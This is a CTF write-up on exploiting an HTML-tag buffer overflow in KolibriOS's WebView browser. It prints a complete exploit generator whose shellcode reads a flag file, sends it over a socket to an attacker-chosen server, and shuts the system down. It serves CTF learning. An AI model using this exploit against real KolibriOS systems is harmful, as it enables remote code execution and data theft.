hxp CTF 2022: browser_insanity writeup

The challenge targets the WebView browser in the KolibriOS project. The KolibriOS user (infra) will visit an html page you provide. The goal is to provide a crafted page which exploits a “0day” vulnerability to exfiltrate the flag at /hd0/1/flag.txt.

What may make it tricky is that everything is implemented in x86-32 FASM assembly and C–.

The browser supports basic HTML rendering and a few image formats. The image parsers are an excellent starting point: quite a few formats (13) and all implemented in x86 assembly. AFL++ is an ideal candidate for searching for bugs in such code: setting up a harness is simple, QEMU mode can be trivially enabled when static instrumentation is not possible, and fuzz corpuses for image formats are widely available.

A super simple approach found 90 “unique” crashes in 16 hours of fuzzing. IIRC, there were all kinds of bugs in all of the parsers: null ptr derefs, buffer overflows, interger wrap arounds, random-looking access. Unfortunately, I couldn’t really exploit any of these or just lost patience knowing they will be something simpler.

There’s a much easier bug to exploit, and then other teams proved there are even easier ones…

There’s a buffer overflow when handling HTML tags. The overflow happens in file programs/cmm/browser/TWB/parse_tag.h in _tag::parse. Since there is no zero byte at the end of name and prior is immediately after name, this leads to an infinite strcpy.

This turns out to be well-exploitable in KolibriOS because most of memory is mapped as RWX and the instruction is a little after the tag object. When the rep prefix is overwritten, the instruction will be re-fetched and executed.

The exploit turns out to be fairly simple: overwrite with a relative-jump opcode to jump into the provided payload, payload reads the file and connects to a remote server to send the flag.

Code for payload:

def gen_payload():
    print("Generate payload", file=sys.stderr)
    tok = b"\x90" * 11 + b"\xeb" + b"b" * 11 + b"\x8d\x64\x24\x18\xc3" + b"a" * 4
    payload1 = b"<html><head></head><body>"
    payload1 += b"<" + tok + b"></" + tok + b">"

    load_flag_into_memory = asm("""

    nop

    mov eax, 0x0
    push eax

    mov eax, 0x00747874
    push eax

    mov eax, 0x2e67616c
    push eax

    mov eax, 0x662f312f
    push eax

    mov eax, 0x3064682f
    push eax

    mov eax, 0x20030
    push eax

    mov eax, 0x100
    push eax

    mov eax, 0x0
    push eax

    mov eax, 0x0
    push eax

    mov eax, 0x0
    push eax

    lea ebx, [esp]

    mov eax, 70

    int 0x40

    """ , arch="i386")

    conn_and_send_flag = asm("""

    nop

    mov ebx, 0x20000

    mov eax, 0x2f64722f
    mov [ebx], eax

    mov eax, 0x656e2f31
    mov [ebx + 4], eax

    mov eax, 0x726f7774
    mov [ebx + 8], eax

    mov eax, 0x65772f6b
    mov [ebx + 0xc], eax

    mov eax, 0x65697662
    mov [ebx + 0x10], eax

    mov eax, 0x20200077
    mov [ebx + 0x14], eax

    mov eax, 0x70747468
    mov [ebx + 0x18], eax

    mov eax, 0x312f2f3a
    mov [ebx + 0x1c], eax

    mov eax, 0x312e3239
    mov [ebx + 0x20], eax

    mov eax, 0x312e3836
    mov [ebx + 0x24], eax

    mov eax, 0x383a362e
    mov [ebx + 0x28], eax

    mov eax, 0x2f303030
    mov [ebx + 0x2c], eax

    mov eax, 0x0
    push eax
    push eax

    mov eax, 0x20000
    mov [esp+0x1], eax

    mov eax, 0x0
    push eax

    mov eax, 0x0
    push eax

    mov eax, 0x20018
    push eax

    mov eax, 0x1
    push eax

    mov eax, 0x7
    push eax

    lea ebx, [esp]

    mov eax, 70

    int 0x40

    mov eax, 75
    mov ebx, 0
    mov ecx, 1
    mov edx, 2
    mov esi, 0
    int 0x40

    mov ecx, eax
    mov ebx, 5
    mov eax, 69
    int 0x40

    """, arch="i386")


    conn_and_send_flag = asm(f"""

    mov eax, 75
    mov ebx, 0
    mov ecx, 2
    mov edx, 1
    mov esi, 0
    int 0x40

    mov ecx, eax
    mov eax, 0x10000
    mov [eax], ecx

    mov ebx, 0x20000
    mov ax, 0x2
    mov [ebx], ax
    mov ax, {MY_HTTP_SERVER_PORT_BE}
    mov [ebx+2], ax
    mov eax, {MY_HTTP_SERVER_IP_DECIMAL}
    mov [ebx+4], eax
    mov eax, 0x0
    mov [ebx+8], eax
    mov [ebx+12], eax
    mov [ebx+14], eax

    mov eax, 75
    mov edx, ebx
    mov ebx, 4
    mov esi, 18
    int 0x40

    mov ecx, [0x10000]
    mov edx, 0x20030
    mov esi, 0x100
    mov ebx, 6
    mov eax, 75
    mov edi, 0

    int 0x40

    """, arch="i386")

    shutdown = asm("""

    mov eax, 18
    mov ebx, 9
    mov ecx, 2
    int 0x40

    """, arch="i386")

    code = load_flag_into_memory + conn_and_send_flag + shutdown

    payload2 = b"<" + code + b">asd</" + code + b"ABCDE>"

    full_payload = payload1 + payload2

    return full_payload

Debugging KolibriOS was a tiny bit painful: file format was custom, OS itself was buggy, no image with symbols, DEBUG debugger barebone and buggy. For debugging, I ended up employing th technique:

  1. Use DEBUG to catch segfault
  2. Attach with GDB to VM, set a hardware breakpoint at the faulted address, and continue execution
  3. Resume execution in DEBUG to trigger breakpoint in gdb, then inspect what’s the problem